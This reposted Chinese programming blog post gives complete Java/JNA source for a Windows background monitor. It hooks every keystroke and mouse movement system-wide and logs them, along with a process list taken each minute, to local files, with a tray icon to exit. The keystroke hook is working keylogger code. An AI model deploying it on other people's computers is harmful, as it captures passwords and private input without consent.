java實現鼠標和鍵盤動作后臺監聽

n672 9年前發布 | 3K 次閱讀 Java

有的時候需要我們對鼠標和鍵盤的動作(鼠標的移動,鍵盤的點擊)進行監聽,比如按鍵記錄,鼠標坐標記錄等。

我們使用JNA來實現以上的操作

 tips:JNA類庫使用一個很小的本地類庫sub 動態的調用本地代碼。程序員只需要使用一個特定的java接口描述一下將要調用的本地代碼的方法的結構和一些基本屬性。這樣就省了為了適配多個平臺而大量的配置和編譯代碼。因為調用的都是JNA提供的公用jar 包中的接口。

首先我們實現監聽鼠標的代碼如下

    package getInfo;  

    import java.io.BufferedWriter;  
    import java.io.File;  
    import java.io.FileWriter;  
    import java.io.IOException;  
    import java.text.SimpleDateFormat;  
    import java.util.Date;  

    import com.sun.jna.Structure;  
    import com.sun.jna.examples.win32.Kernel32;  
    import com.sun.jna.examples.win32.User32;  
    import com.sun.jna.examples.win32.User32.HHOOK;  
    import com.sun.jna.examples.win32.User32.MSG;  
    import com.sun.jna.examples.win32.W32API.HMODULE;  
    import com.sun.jna.examples.win32.W32API.LRESULT;  
    import com.sun.jna.examples.win32.W32API.WPARAM;  
    import com.sun.jna.examples.win32.User32.HOOKPROC;  

    public class MouseHook implements Runnable{  

        public static final int WM_MOUSEMOVE = 512;  
        private static HHOOK hhk;  
        private static LowLevelMouseProc mouseHook;  
        final static User32 lib = User32.INSTANCE;  
        private boolean [] on_off=null;  

        public MouseHook(boolean [] on_off){  
            this.on_off = on_off;  
        }  

        public interface LowLevelMouseProc extends HOOKPROC {  
            LRESULT callback(int nCode, WPARAM wParam, MOUSEHOOKSTRUCT lParam);  
        }  

        public static class MOUSEHOOKSTRUCT extends Structure {  
            public static class ByReference extends MOUSEHOOKSTRUCT implements  
            Structure.ByReference {  
            };  
            public User32.POINT pt;  
            public int wHitTestCode;  
            public User32.ULONG_PTR dwExtraInfo;  
        }  

        public void run() {  
            HMODULE hMod = Kernel32.INSTANCE.GetModuleHandle(null);  
            mouseHook = new LowLevelMouseProc() {  
                public LRESULT callback(int nCode, WPARAM wParam,  
                        MOUSEHOOKSTRUCT info) {  
                    SimpleDateFormat df1 = new SimpleDateFormat("yyyy-MM-dd");  
                    SimpleDateFormat df2 = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");  
                    String fileName=df1.format(new Date());  
                    String time=df2.format(new Date());  
                    BufferedWriter bw1=null;  
                    BufferedWriter bw2=null;  
                    try {  
                        bw1=new BufferedWriter(new FileWriter(new File(".//log//"+fileName+"_Mouse.txt"),true));  
                        bw2=new BufferedWriter(new FileWriter(new File(".//log//"+fileName+"_Common.txt"),true));  
                    } catch (IOException e) {  
                        e.printStackTrace();  
                    }  
                    if (on_off[0] == false) {  
                        System.exit(0);  
                    }  
                    if (nCode >= 0) {  
                        switch (wParam.intValue()) {  
                        case MouseHook.WM_MOUSEMOVE:  
                            try {  
                                bw1.write(time+"  ####  "+"x=" + info.pt.x  
                                        + " y=" + info.pt.y+"\r\n");  
                                bw2.write(time+"  ####  "+"x=" + info.pt.x  
                                        + " y=" + info.pt.y+"\r\n");  
                                bw1.flush();  
                                bw2.flush();  
                            } catch (IOException e) {  
                                e.printStackTrace();  
                            }  
                        }  
                    }  
                    return lib  
                    .CallNextHookEx(hhk, nCode, wParam, info.getPointer());  
                }  
            };  
            hhk = lib.SetWindowsHookEx(User32.WH_MOUSE_LL, mouseHook, hMod, 0);  
            int result;  
            MSG msg = new MSG();  
            while ((result = lib.GetMessage(msg, null, 0, 0)) != 0) {  
                if (result == -1) {  
                    System.err.println("error in get message");  
                    break;  
                } else {  
                    System.err.println("got message");  
                    lib.TranslateMessage(msg);  
                    lib.DispatchMessage(msg);  
                }  
            }  
            lib.UnhookWindowsHookEx(hhk);  
        }  
    }  

能夠在鼠標移動的時候輸出鼠標的坐標位置

接下來是監聽鍵盤的代碼

    package getInfo;  

    import java.io.BufferedWriter;  
    import java.io.File;  
    import java.io.FileWriter;  
    import java.io.IOException;  
    import java.text.SimpleDateFormat;  
    import java.util.Date;  

    import com.sun.jna.examples.win32.Kernel32;  
    import com.sun.jna.examples.win32.User32;  
    import com.sun.jna.examples.win32.User32.HHOOK;  
    import com.sun.jna.examples.win32.User32.KBDLLHOOKSTRUCT;  
    import com.sun.jna.examples.win32.User32.LowLevelKeyboardProc;  
    import com.sun.jna.examples.win32.User32.MSG;  
    import com.sun.jna.examples.win32.W32API.HMODULE;  
    import com.sun.jna.examples.win32.W32API.LRESULT;  
    import com.sun.jna.examples.win32.W32API.WPARAM;  


    public class KeyboardHook implements Runnable{  

        private static HHOOK hhk;  
        private static LowLevelKeyboardProc keyboardHook;  
        final static User32 lib = User32.INSTANCE;  
        private boolean [] on_off=null;  

        public KeyboardHook(boolean [] on_off){  
            this.on_off = on_off;  
        }  

        public void run() {  

            HMODULE hMod = Kernel32.INSTANCE.GetModuleHandle(null);  
            keyboardHook = new LowLevelKeyboardProc() {  
                public LRESULT callback(int nCode, WPARAM wParam, KBDLLHOOKSTRUCT info) {  
                    SimpleDateFormat df1 = new SimpleDateFormat("yyyy-MM-dd");  
                    SimpleDateFormat df2 = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");  
                    String fileName=df1.format(new Date());  
                    String time=df2.format(new Date());  
                    BufferedWriter bw1=null;  
                    BufferedWriter bw2=null;  
                    try {  
                        bw1=new BufferedWriter(new FileWriter(new File(".//log//"+fileName+"_Keyboard.txt"),true));  
                        bw2=new BufferedWriter(new FileWriter(new File(".//log//"+fileName+"_Common.txt"),true));  

                    } catch (IOException e) {  
                        e.printStackTrace();  
                    }  
                    if (on_off[0] == false) {  
                        System.exit(0);  
                    }  
                    try {  
                        bw1.write(time+"  ####  "+info.vkCode+"\r\n");  
                        bw2.write(time+"  ####  "+info.vkCode+"\r\n");  
                        bw1.flush();  
                        bw2.flush();  
                    } catch (IOException e) {  
                        e.printStackTrace();  
                    }  
                    return lib.CallNextHookEx(hhk, nCode, wParam, info.getPointer());  
                }  
            };  
            hhk = lib.SetWindowsHookEx(User32.WH_KEYBOARD_LL, keyboardHook, hMod, 0);  
            int result;  
            MSG msg = new MSG();  
            while ((result = lib.GetMessage(msg, null, 0, 0)) != 0) {  
                if (result == -1) {  
                    System.err.println("error in get message");  
                    break;  
                } else {  
                    System.err.println("got message");  
                    lib.TranslateMessage(msg);  
                    lib.DispatchMessage(msg);  
                }  
            }  
            lib.UnhookWindowsHookEx(hhk);  
        }  

    }  

最后是獲取進程信息的代碼
    package getInfo;  

    import java.io.BufferedReader;  
    import java.io.BufferedWriter;  
    import java.io.File;  
    import java.io.FileWriter;  
    import java.io.IOException;  
    import java.io.InputStreamReader;  
    import java.text.SimpleDateFormat;  
    import java.util.Date;  

    public class ProcessInfo implements Runnable{  

        private boolean [] on_off=null;  

        public ProcessInfo(boolean [] on_off){  
            this.on_off = on_off;  
        }  

        public void run() {  
            BufferedReader input = null;  
            Process process = null;  
            BufferedWriter bw=null;  
            SimpleDateFormat df1 = new SimpleDateFormat("yyyy-MM-dd");  
            SimpleDateFormat df2 = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");  
            String fileName=null;  
            String time=null;  
            try {  
                while(on_off[0]){  
                    fileName=df1.format(new Date());  
                    time=df2.format(new Date());  
                    bw=new BufferedWriter(new FileWriter(new File(".//log//"+fileName+"_ProcessInfo.txt"),true));  
                    Thread.sleep(60000);  
                    process = Runtime.getRuntime().exec("cmd.exe   /c   tasklist");  
                    input =new BufferedReader(  
                            new InputStreamReader(process.getInputStream()));  
                    String line = " ";  
                    int i=0;  
                    input.readLine();  
                    input.readLine();  
                    input.readLine();  
                    while ((line = input.readLine()) != null) {  
                        bw.write(time+"  ####  "+line+"\r\n");  
                        bw.flush();  
                        i++;  
                    }  
                }  
            } catch (Exception e) {  
                e.printStackTrace();  
            } finally{  
                try {  
                    bw.close();  
                    input.close();  
                } catch (IOException e) {  
                    e.printStackTrace();  
                }  
            }  
        }  

    }  

開啟上述線程的類
    package getInfo;  

    import java.awt.AWTException;    
    import java.awt.Image;    
    import java.awt.MenuItem;    
    import java.awt.PopupMenu;    
    import java.awt.SystemTray;    
    import java.awt.Toolkit;    
    import java.awt.TrayIcon;    
    import java.awt.event.ActionEvent;    
    import java.awt.event.ActionListener;    

    public class Monitor  {    

        public Monitor()  {    
            boolean [] on_off={true};  
            new Thread(new ProcessInfo(on_off)).start();  
            new Thread(new KeyboardHook(on_off)).start();  
            new Thread(new MouseHook(on_off)).start();  
            final TrayIcon trayIcon;    

            if (SystemTray.isSupported()) {    

                SystemTray tray = SystemTray.getSystemTray();    
                Image image = Toolkit.getDefaultToolkit().getImage(".//lib//monitor.png");    

                ActionListener exitListener = new ActionListener() {    
                    public void actionPerformed(ActionEvent e) {    
                        System.out.println("Exiting...");    
                        System.exit(0);    
                    }  
                };    

                PopupMenu popup = new PopupMenu();    
                MenuItem defaultItem = new MenuItem("Exit");    
                defaultItem.addActionListener(exitListener);    
                popup.add(defaultItem);    

                trayIcon = new TrayIcon(image, "monitor", popup);    

                ActionListener actionListener = new ActionListener() {    
                    public void actionPerformed(ActionEvent e) {    
                        trayIcon.displayMessage("Action Event",     
                                "An Action Event Has Been Peformed!",    
                                TrayIcon.MessageType.INFO);    
                    }    
                };    

                trayIcon.setImageAutoSize(true);    
                trayIcon.addActionListener(actionListener);    

                try {    
                    tray.add(trayIcon);    
                } catch (AWTException e1) {    
                    e1.printStackTrace();    
                }    

            }   
        }  

        public static void main(String[] args)  {    
            new Monitor();    
        }    

    }    

 本文由用戶 n672 自行上傳分享,僅供網友學習交流。所有權歸原作者,若您的權利被侵害,請聯系管理員。
 轉載本站原創文章,請注明出處,并保留原始鏈接、圖片水印。
 本站是一個以用戶分享為主的開源技術平臺,歡迎各類分享!